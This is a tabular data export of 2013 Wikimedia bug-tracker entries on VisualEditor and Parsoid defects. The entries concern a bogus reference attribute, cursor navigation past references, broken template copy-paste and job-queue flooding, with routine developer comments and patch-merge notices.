>> https://pl.wikipedia.org/wiki/Eve_Online",,,1381175418,,PHID-USER-brn4v5ta45bnw4f5as3h,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,35.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.7027027027027026,0.8108108108108109,"This problem was also reported happening on Polish Wikipedia (PL.WP) by User:Kthaara (using VE on Win 7, Mozilla Firefox (latest version)).

URL 

QUOTE
QUOTE"
254448,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","I believe that this is the same as bug 54341 which was fixed last week and is live.

*** This bug has been marked as a duplicate of bug 54341 ***",,,1380836921,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,5.0,0.0,8.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,5.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.135135135135135,0.7297297297297297,"I believe that this is the same as bug 54341 which was fixed last week and is live.

*** This bug has been marked as a duplicate of bug 54341 ***"
254443,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","More from Red Fiona:
<<If the page already has references, it either doesn't add the reference at all, on this page (https://en.wikipedia.org/w/index.php?title=Vladimir_Gojkovi%C4%87&diff=575208071&oldid=551414203)
, or adds it as the second reference when it's not really the second reference (https://en.wikipedia.org/w/index.php?title=Nataliya_Pyhyda&diff=575209107&oldid=568886402) .>>",,,1380645202,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,False,,,13,,2.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,8.0,0.0,12.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,10.0,6.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,3.3076923076923075,0.6923076923076923,"More from Red Fiona:
<<If the page already has references, it either doesn't add the reference at all, on this page (URL
, or adds it as the second reference when it's not really the second reference (URL .>>"
254439,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","Worse, I just attempted to add an actual reference, and this bug just replaced the reference I tried to insert with a cross-reference to this new bogus :0 reference!

It was a good thing Visual Editor got disabled by default recently - quality control seems to be lacking!!",,,1380378760,,PHID-USER-bug3zrlooz3bdmi4fyl7,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,0.0,2.0,11.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,4.053571428571429,0.75,"Worse, I just attempted to add an actual reference, and this bug just replaced the reference I tried to insert with a cross-reference to this new bogus :0 reference!

It was a good thing Visual Editor got disabled by default recently - quality control seems to be lacking!!"
254431,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","Created attachment 13346
Screenshot of dirty diff on ""Turkey Hill (company)""

https://en.wikipedia.org/w/index.php?title=Turkey_Hill_(company)&oldid=568325662&veaction=edit

http://tools.wmflabs.org/visualeditor/dirtydiffs/2013-09-17_13-00/Turkey_Hill_-company-.png

**Attached**: {F11869}",,,1379834599,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.7666666666666667,"Created attachment 13346
Screenshot of dirty diff on ""Turkey Hill (company)""

URL

URL

**Attached**: {F11869}"
254424,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","Created attachment 13344
Screenshot of dirty diff on ""Daniel Rowe (footballer)""

http://tools.wmflabs.org/visualeditor/dirtydiffs/2013-09-17_13-00/Daniel_Rowe_-footballer-.png

**Attached**: {F11868}",,,1379834387,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8214285714285714,"Created attachment 13344
Screenshot of dirty diff on ""Daniel Rowe (footballer)""

URL

**Attached**: {F11868}"
56443,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"**Author:** `swalling`

**Description:**
Steps to reproduce:

1. Place your cursor in page text. 
2. Navigate through the text with left-right arrow keys, until you get to a reference
3. When the ref tool popup appears, you cannot move past it with arrow keys.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1379806800,1380594405.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-trziv3xjwkvokcwfszqm,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,5.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,3.376470588235294,0.6,"**Author:** CODE

**Description:**
Steps to reproduce:

1. Place your cursor in page text. 
2. Navigate through the text with left-right arrow keys, until you get to a reference
3. When the ref tool popup appears, you cannot move past it with arrow keys.

--------------------------
**Version**: unspecified
**Severity**: major"
254347,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"Change 86801 merged by Catrope:
Make cursoring over a FocusableNode work again

https://gerrit.wikimedia.org/r/86801",,,1380668740,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,31.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 86801 merged by Catrope:
Make cursoring over a FocusableNode work again

GERRIT_URL"
254339,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"Change 86800 merged by Catrope:
Make cursoring over a FocusableNode work again

https://gerrit.wikimedia.org/r/86800",,,1380668726,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,31.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 86800 merged by Catrope:
Make cursoring over a FocusableNode work again

GERRIT_URL"
254336,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,Merged into master; we'll back-port and deploy tomorrow.,,,1380594405,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,1.0,Merged into master; we'll back-port and deploy tomorrow.
254332,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"Change 86801 had a related patch set uploaded by Jforrester:
Make cursoring over a FocusableNode work again

https://gerrit.wikimedia.org/r/86801",,,1380594325,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,24.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,4.9523809523809526,0.9523809523809523,"Change 86801 had a related patch set uploaded by Jforrester:
Make cursoring over a FocusableNode work again

GERRIT_URL"
254330,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"Change 86800 had a related patch set uploaded by Jforrester:
Make cursoring over a FocusableNode work again

https://gerrit.wikimedia.org/r/86800",,,1380594312,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,24.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,4.9523809523809526,0.9523809523809523,"Change 86800 had a related patch set uploaded by Jforrester:
Make cursoring over a FocusableNode work again

GERRIT_URL"
254326,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"Change 86788 merged by jenkins-bot:
Make cursoring over a FocusableNode work again

https://gerrit.wikimedia.org/r/86788",,,1380594298,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 86788 merged by jenkins-bot:
Make cursoring over a FocusableNode work again

GERRIT_URL"
254322,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"Change 86788 had a related patch set uploaded by Catrope:
Make cursoring over a FocusableNode work again

https://gerrit.wikimedia.org/r/86788",,,1380589982,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,24.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,4.809523809523809,0.9523809523809523,"Change 86788 had a related patch set uploaded by Catrope:
Make cursoring over a FocusableNode work again

GERRIT_URL"
254318,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,*** Bug 54722 has been marked as a duplicate of this bug. ***,,,1380326222,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54722 has been marked as a duplicate of this bug. ***
254314,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,The events from the pasteTarget (which has focus when a focusableNode is selected) are not getting through to the document listener.,,,1380201051,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,17.0,8.0,4.0,4.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,4.666666666666667,0.9583333333333334,The events from the pasteTarget (which has focus when a focusableNode is selected) are not getting through to the document listener.
254307,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,Updating priority to normal. Inability to move the cursor using arrows is definitely a bug.,,,1379996431,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,4.529411764705882,0.8823529411764706,Updating priority to normal. Inability to move the cursor using arrows is definitely a bug.
56410,VisualEditor: [Regression] Copy/paste of existing templates and images broken (unformatted text pasted only),"Copy/pasting a template that existed prior to the current session only pastes, as literal text, the unformatted text output of the template. Template boxes, etc are ignored. Images are ignored unless they have alt-text, in which case the alt-text is pasted in the position the image would be if shown.

Templates added in the current editing session can be copied and pasted as expected.

Possibly this is a result of the fix to bug 49396?

To reproduce:
1. Load any page with 1 or more templates or images, e.g. https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=573844495

2. select and copy a template or image
3. Paste the somewhere else in the page.

Expected behaviour: the full template or image is pasted
Actual behaviour (templates): Only text output of the template is pasted, unformatted and unlinked.
Actual behaviour (images): Only the image caption is pasted, unformatted and unlinked.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49396",High,80.0,1379720640,1386031966.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-zoji45q564z2zd5mmomf,task_description,resolved,True,c1,3,False,False,False,11,,0.3333333333333333,0.0,0.0,2.6666666666666665,0.0,6.666666666666667,0.6666666666666666,0.0,0.0,0.6666666666666666,2.3333333333333335,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,3.0,5.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,3.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,2.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.0,15.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,5.666666666666667,3.3333333333333335,7.666666666666667,0.6666666666666666,3.0,6.666666666666667,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,1.3333333333333333,0.0,0.3333333333333333,5.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,3.844927536231884,0.6391994478951001,"Copy/pasting a template that existed prior to the current session only pastes, as literal text, the unformatted text output of the template. Template boxes, etc are ignored. Images are ignored unless they have alt-text, in which case the alt-text is pasted in the position the image would be if shown.

Templates added in the current editing session can be copied and pasted as expected.

Possibly this is a result of the fix to bug 49396?

To reproduce:
1. Load any page with 1 or more templates or images, e.g. URL

2. select and copy a template or image
3. Paste the somewhere else in the page.

Expected behaviour: the full template or image is pasted
Actual behaviour (templates): Only text output of the template is pasted, unformatted and unlinked.
Actual behaviour (images): Only the image caption is pasted, unformatted and unlinked.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
252365,VisualEditor: [Regression] Copy/paste of existing templates and images broken (unformatted text pasted only),This was fixed some time ago; sorry for the slow update.,,,1386031966,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zoji45q564z2zd5mmomf,task_subcomment,,True,c1,3,True,,,22,,8.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,1.0,This was fixed some time ago; sorry for the slow update.
56406,Parsoid jobs are not dequeued fast enough during heavy editing activity,"Parsoid is flooding the global job queue.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**Whiteboard**: [see comment 9]",High,80.0,1379716620,1394719478.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-dzv6eikbb3qjtwxvccno,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.475,0.625,"Parsoid is flooding the global job queue.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**Whiteboard**: [see comment 9]"
252161,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to James Forrester from comment #36)
> Can we close this bug now? I believe this has been fixed.

No feedback => Closing.",,,1394719478,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.35,1.0,"(In reply to James Forrester from comment #36)
QUOTE

No feedback => Closing."
252157,Parsoid jobs are not dequeued fast enough during heavy editing activity,Can we close this bug now? I believe this has been fixed.,,,1385464680,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.9285714285714286,Can we close this bug now? I believe this has been fixed.
252153,Parsoid jobs are not dequeued fast enough during heavy editing activity,"Change 86745 merged by Faidon Liambotis:
Bug 54406: Speed up Parsoid job processing

